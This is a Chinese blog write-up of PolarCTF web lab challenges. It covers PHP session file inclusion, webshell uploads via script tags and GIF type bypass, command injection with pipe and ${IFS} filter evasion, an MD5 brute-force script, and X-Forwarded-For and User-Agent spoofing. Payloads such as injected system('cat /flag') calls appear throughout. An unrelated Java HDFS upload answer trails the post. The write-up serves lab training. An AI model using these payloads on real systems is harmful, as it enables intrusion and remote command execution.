polarctf靶场【web】session文件包含、自由的文件上传系统、爆破、XFF、 rce1、iphone、ezupload

[web]session文件包含

考点:session文件包含

随便输入

用伪协议进行读取(base64编码)

?file=php://filter/convert.base64-encode/resource=action.php

将其base64解码

是一个php代码

session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看

有了参数,开始猜存放session文件的位置,一般默认为tmp,直接执行命令访问session文件

这里可以采取两种方式得到flag:命令读取或者蚁剑连接shell

方法一:蚁剑连接shell

查到cookie值

再用post传一句话木马

用蚁剑来连接

方法二:命令读取
?file=/tmp/sess_iicon09s8aj9rhenj3rn6lhqj2
name=<?php system('ls')?>

name=<?php system('sort /flaggggg ');?>
name=<?php system('cat /flaggggg ');?>
name=<?php system('tac /flaggggg ');?>

[web]自由的文件上传系统

考点:文件包含

尝试上传一句话木马,文件名被改为任意数字

访问路径,发现问号被替换

返回主页的房子,可以看到一个子域名:

/sectet_include.php?file=index.html

可能是文件包含

上传一个不需要?的php木马用script标签进行操作

<script language="php">ststem("ls");</script>

 看到flag的根目录,不能直接用cat直接查看,再上传一个木马

<script language="php">system("cat /f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd");</script>

[web]爆破

方法一:

get方式传入 一个pass变量,且满足其 md5 值 满足:

直接进行脚本爆破

import hashlib
 
for i in range(1,10000):
 
    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
 
    if md5[1] != md5[14] or md5[14]!= md5[17]:
        continue
 
    if(ord(md5[1]))>=48 and ord(md5[1])<=57 and (ord(md5[31]))>=48 and ord(md5[31])<=57:
 
        if((int(md5[1])+int(md5[14])+int(md5[17]))/int(md5[1])==int(md5[31])):
 
           print(i)

然后就有了两个哈希值,直接输入pass就可以过了,一个是422,一个是1202

方法二:(应该是个意外解)

源代码显示有个文件包含,直接查看flag

[web]XFF

考点:XXF伪造

根据题意知道是XFF伪造了,那么进题直接抓包伪造就行:

要ip是1.1.1.1,那么我们直接伪造就行:

点击发送

XFF

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

xff 是http的拓展头部,作用是使Web服务器获取访问用户的IP真实地址(可伪造)。由于很多用户通过代理服务器进行访问,服务器只能获取代理服务器的IP地址,而xff的作用在于记录用户的真实IP,以及代理服务器的IP。

格式为:

X-Forwarded-For: 本机IP, 代理1IP, 代理2IP, 代理2IP

 

[web] rce1

考点:rce
方法一:

代码是一道命令执行的题目,并且过滤了空格,看题目有个ip,考虑拼接符输入命令:

|      只执行第二个命令
||     先执行第一个命令若成功则继续执行第二个命令
&      不管第一个命令是否执行成功都会执行第二个命令
&&     必须两个命令都成功才能执行
;     类似&  

ping -c 4 {$ip}这很熟悉了,输入127.0.0.1|ls,返回一个fllllaaag.php

?ip=127.0.0.1|ls

直接查看其文件,查看源码 

方法二

直接输入127.0.0.1|cat${IFS}fllllaaag.php,就返回一个问号,查看源代码

?ip=127.0.0.1|cat${IFS}fllllaaag.php
?ip=127.0.0.1|cat%09f*

 

[web]iphone

考点:UA的修改

先看源代码,发现有个提示尝试修改UA,得到提示后直接抓包修改UA为iphone类型,随便点了一下Enter键,发现它需要我们从iPhone而不是windows访问:

user agent查询(iPhone/ Android/ iPad/ Windows Phone/ Macintosh)_iphone user-agent-CSDN博客

Mozilla/5.0(iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.461 Firefox/124.0

[web]ezupload

考点:文件上传漏洞

随便上传一个文件,提示文件类型为GIF

用bp抓包,将图片类型改成gif传马就上传成功了

然后访问就是木马了,直接上蚁剑:

得到flag

  • 24
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
好的,以下是使用Java代码上传文件到Hadoop HDFS并验证其可用性的示例: ```java import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.Path; public class HdfsExample { public static void main(String[] args) throws Exception { // 创建HDFS配置 Configuration conf = new Configuration(); conf.set("fs.default.name", "hdfs://localhost:9000"); // 创建HDFS客户端 FileSystem fs = FileSystem.get(conf); // 定义本地文件路径和HDFS文件路径 String localPath = "localfile.txt"; String hdfsPath = "/test/hdfsfile.txt"; // 上传文件到HDFS Path srcPath = new Path(localPath); Path dstPath = new Path(hdfsPath); fs.copyFromLocalFile(srcPath, dstPath); // 下载文件并计算MD5校验和 InputStream in = fs.open(dstPath); MessageDigest md5 = MessageDigest.getInstance("MD5"); byte[] buffer = new byte[1024]; int numRead; do { numRead = in.read(buffer); if (numRead > 0) { md5.update(buffer, 0, numRead); } } while (numRead != -1); in.close(); // 获取计算出的MD5校验和 byte[] md5Bytes = md5.digest(); StringBuilder sb = new StringBuilder(); for (int i = 0; i < md5Bytes.length; i++) { sb.append(Integer.toString((md5Bytes[i] & 0xff) + 0x100, 16).substring(1)); } String md5Checksum = sb.toString(); // 输出结果 System.out.println("File uploaded to HDFS and MD5 checksum is: " + md5Checksum); // 关闭HDFS客户端 fs.close(); } } ``` 在这个示例中,我们使用Hadoop HDFS作为分布式文件系统,创建了一个本地文件 `localfile.txt`,并将其上传到HDFS中的路径 `/test/hdfsfile.txt`。然后,我们从HDFS中下载文件,并使用Java的`MessageDigest`类计算MD5校验和。最后,我们将计算出的MD5校验和打印到控制台上。 需要注意的是,运行此示例需要将Hadoop HDFS的相关JAR包添加到项目中。此外,还需要启动Hadoop HDFS并确保其可用性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剁椒排骨

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值